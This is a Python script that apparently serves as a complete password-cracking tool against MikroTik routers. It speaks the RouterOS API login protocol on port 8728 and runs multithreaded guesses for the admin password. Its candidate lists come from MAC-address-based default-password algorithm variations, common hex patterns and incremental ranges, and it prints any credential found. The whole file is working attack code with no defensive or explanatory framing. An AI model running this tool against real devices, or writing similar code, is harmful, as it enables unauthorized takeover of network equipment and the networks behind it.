#!/usr/bin/env python3
"""
Comprehensive MikroTik Password Attack
Uses reliable API authentication testing with multiple algorithm variations
"""

import socket
import time
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import itertools
import random

class MikroTikAPIAttack:
    def __init__(self, host, port=8728):
        self.host = host
        self.port = port
        self.username = "admin"
        self.found_password = None
        self.attempts = 0
        self.start_time = None
        self.lock = threading.Lock()
        self.stop_flag = threading.Event()
        
    def test_api_password(self, password, timeout=3):
        """Test password using MikroTik API - most reliable method"""
        if self.stop_flag.is_set():
            return False
            
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(timeout)
            sock.connect((self.host, self.port))
            
            def encode_length(length):
                if length <= 0x7F:
                    return bytes([length])
                elif length <= 0x3FFF:
                    return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
                else:
                    return bytes([0xFF])
            
            def write_word(word):
                word_bytes = word.encode('utf-8')
                sock.send(encode_length(len(word_bytes)))
                sock.send(word_bytes)
            
            def write_sentence(words):
                for word in words:
                    write_word(word)
                write_word("")
            
            def read_word():
                try:
                    length_byte = sock.recv(1)
                    if not length_byte:
                        return ""
                    length = length_byte[0]
                    if length == 0:
                        return ""
                    if length & 0x80:
                        second_byte = sock.recv(1)
                        if not second_byte:
                            return ""
                        length = ((length & 0x7F) << 8) + second_byte[0]
                    
                    if length > 500:  # Sanity check
                        return ""
                    
                    return sock.recv(length).decode('utf-8', 'ignore')
                except:
                    return ""
            
            def read_sentence():
                sentence = []
                while True:
                    word = read_word()
                    if word == "":
                        break
                    sentence.append(word)
                return sentence
            
            # Send login
            write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
            
            # Read response
            response = read_sentence()
            sock.close()
            
            # Success if we get "!done" without error
            return response and response[0] == "!done"
            
        except Exception:
            return False
    
    def test_password(self, password):
        """Test a password and handle progress reporting"""
        if self.stop_flag.is_set():
            return False
        
        with self.lock:
            self.attempts += 1
            current_attempts = self.attempts
        
        # Progress reporting
        if current_attempts % 50 == 0:
            elapsed = time.time() - self.start_time
            rate = current_attempts / elapsed if elapsed > 0 else 0
            print(f"[*] Attempt {current_attempts} ({rate:.1f} pwd/sec) - Testing: {password}")
        
        if self.test_api_password(password):
            print(f"\n*** PASSWORD FOUND! ***")
            print(f"Host: {self.host}")
            print(f"Username: {self.username}")
            print(f"Password: {password}")
            print(f"Total attempts: {current_attempts}")
            elapsed = time.time() - self.start_time
            print(f"Time taken: {elapsed:.2f} seconds")
            self.found_password = password
            self.stop_flag.set()
            return True
        
        return False

def generate_mac_algorithm_variations(mac_address):
    """Generate comprehensive MAC-based password variations"""
    passwords = []
    
    # Parse MAC
    mac_clean = mac_address.upper().replace(':', '').replace('-', '')
    if len(mac_clean) != 12:
        return passwords
    
    mac_bytes = [int(mac_clean[i:i+2], 16) for i in range(0, 12, 2)]
    
    # Test different XOR constants (not just 0xD0)
    xor_constants = [0xD0, 0xC0, 0xE0, 0xF0, 0x80, 0x90, 0xA0, 0xB0, 0x60, 0x70, 0x50, 0x40]
    
    # Test different final constants (not just 0xFF)
    final_constants = [0xFF, 0xFE, 0xFD, 0xFC, 0x00, 0x01, 0x02, 0x03, 0xAA, 0x55, 0xF0, 0x0F]
    
    # Algorithm variations
    for xor_const in xor_constants:
        for final_const in final_constants:
            # Standard algorithm: MAC[0]^XOR, MAC[1], ~MAC[2], FINAL
            pwd_bytes = [
                mac_bytes[0] ^ xor_const,
                mac_bytes[1],
                (~mac_bytes[2]) & 0xFF,
                final_const
            ]
            hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
            passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
            
            # Variation: Different MAC byte positions
            for i in range(6):
                for j in range(6):
                    for k in range(6):
                        if i != j and j != k and i != k:  # Different positions
                            pwd_bytes = [
                                mac_bytes[i] ^ xor_const,
                                mac_bytes[j],
                                (~mac_bytes[k]) & 0xFF,
                                final_const
                            ]
                            hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
                            passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
    
    # Direct MAC usage patterns
    for combo in itertools.permutations(mac_bytes[:4]):
        hex_str = ''.join(f'{b:02x}' for b in combo)
        passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
    
    # Last/First 4 bytes of MAC
    hex_str = ''.join(f'{b:02x}' for b in mac_bytes[2:6])
    passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
    hex_str = ''.join(f'{b:02x}' for b in mac_bytes[0:4])
    passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
    
    return list(set(passwords))  # Remove duplicates

def generate_pattern_passwords():
    """Generate common password patterns"""
    patterns = []
    
    # Basic patterns
    basic = [
        "0000-0000", "1111-1111", "2222-2222", "ffff-ffff",
        "aaaa-aaaa", "bbbb-bbbb", "cccc-cccc", "dddd-dddd",
        "1234-5678", "8765-4321", "abcd-efab", "dead-beef",
        "cafe-babe", "feed-face", "babe-face", "c0de-d00d",
    ]
    patterns.extend(basic)
    
    # Year-based (installation years)
    for year in range(2010, 2025):
        patterns.extend([
            f"0000-{year:04x}",
            f"{year:04x}-0000",
            f"{year:04x}-{year:04x}",
            f"1234-{year:04x}",
            f"{year:04x}-1234",
        ])
    
    # Sequential hex patterns
    for i in range(0, 16):
        hex_char = f"{i:x}"
        patterns.extend([
            f"{hex_char}{hex_char}{hex_char}{hex_char}-{hex_char}{hex_char}{hex_char}{hex_char}",
            f"0000-{hex_char}{hex_char}{hex_char}{hex_char}",
            f"{hex_char}{hex_char}{hex_char}{hex_char}-0000",
        ])
    
    return patterns

def generate_incremental_around_base(base_password, range_size=2000):
    """Generate passwords around a base password"""
    passwords = []
    
    try:
        # Convert base password to integer
        hex_str = base_password.replace('-', '')
        base_int = int(hex_str, 16)
        
        # Generate passwords around this value
        for offset in range(-range_size//2, range_size//2 + 1):
            new_val = base_int + offset
            if 0 <= new_val <= 0xFFFFFFFF:
                hex_str = f"{new_val:08x}"
                passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
    except:
        pass
    
    return passwords

def main():
    import sys
    
    if len(sys.argv) < 2:
        print("Usage: python3 mikrotik_comprehensive_attack.py <HOST> [MAC] [threads]")
        print("Example: python3 mikrotik_comprehensive_attack.py 10.250.2.2 B8:69:F4:12:8E:F8 4")
        sys.exit(1)
    
    host = sys.argv[1]
    mac_address = sys.argv[2] if len(sys.argv) > 2 else "B8:69:F4:12:8E:F8"
    threads = int(sys.argv[3]) if len(sys.argv) > 3 else 4
    
    print(f"Comprehensive MikroTik Password Attack")
    print(f"Host: {host}")
    print(f"MAC: {mac_address}")
    print(f"Threads: {threads}")
    print("=" * 60)
    
    # Generate password candidates
    print("Generating password candidates...")
    
    mac_passwords = generate_mac_algorithm_variations(mac_address)
    print(f"MAC-based algorithms: {len(mac_passwords)} passwords")
    
    pattern_passwords = generate_pattern_passwords()
    print(f"Common patterns: {len(pattern_passwords)} passwords")
    
    # Generate incremental around the standard algorithm result
    base_mac_clean = mac_address.upper().replace(':', '')
    base_mac_bytes = [int(base_mac_clean[i:i+2], 16) for i in range(0, 12, 2)]
    standard_result = f"{base_mac_bytes[0] ^ 0xD0:02x}{base_mac_bytes[1]:02x}{(~base_mac_bytes[2]) & 0xFF:02x}ff"
    standard_formatted = f"{standard_result[:4]}-{standard_result[4:]}"
    incremental_passwords = generate_incremental_around_base(standard_formatted, 1000)
    print(f"Incremental around {standard_formatted}: {len(incremental_passwords)} passwords")
    
    # Combine all passwords and remove duplicates
    all_passwords = list(set(mac_passwords + pattern_passwords + incremental_passwords))
    print(f"Total unique passwords: {len(all_passwords)}")
    
    # Prioritize: MAC algorithms first, then patterns, then incremental
    prioritized = mac_passwords + pattern_passwords + incremental_passwords
    # Remove duplicates while preserving order
    seen = set()
    final_passwords = []
    for pwd in prioritized:
        if pwd not in seen:
            seen.add(pwd)
            final_passwords.append(pwd)
    
    print(f"Testing {len(final_passwords)} passwords in priority order...")
    print()
    
    # Run attack
    attacker = MikroTikAPIAttack(host)
    attacker.start_time = time.time()
    
    # Use ThreadPoolExecutor
    with ThreadPoolExecutor(max_workers=threads) as executor:
        future_to_password = {
            executor.submit(attacker.test_password, pwd): pwd 
            for pwd in final_passwords
        }
        
        for future in as_completed(future_to_password):
            if attacker.stop_flag.is_set():
                # Cancel remaining tasks
                for f in future_to_password:
                    f.cancel()
                break
            
            try:
                result = future.result()
                if result:
                    print(f"\n✓ SUCCESS! Password found: {attacker.found_password}")
                    sys.exit(0)
            except Exception as e:
                password = future_to_password[future]
                print(f"Error testing {password}: {e}")
    
    if not attacker.found_password:
        elapsed = time.time() - attacker.start_time
        print(f"\nAttack completed without success.")
        print(f"Total attempts: {attacker.attempts}")
        print(f"Time taken: {elapsed:.2f} seconds")
        print(f"Rate: {attacker.attempts/elapsed:.1f} passwords/second")
        print("\nPassword not found in tested algorithms.")
        print("Consider:")
        print("1. Device may use different algorithm")
        print("2. Custom password may be set")
        print("3. Hardware reset if device is accessible")
        sys.exit(1)

if __name__ == "__main__":
    main()